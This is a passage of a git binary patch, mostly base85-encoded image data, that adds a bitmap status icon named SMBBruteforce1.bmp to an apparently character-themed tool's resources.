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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce1.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..378babe74387fedc1ec45ec6fec4d4f296a7d7e0 GIT binary patch literal 18462 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 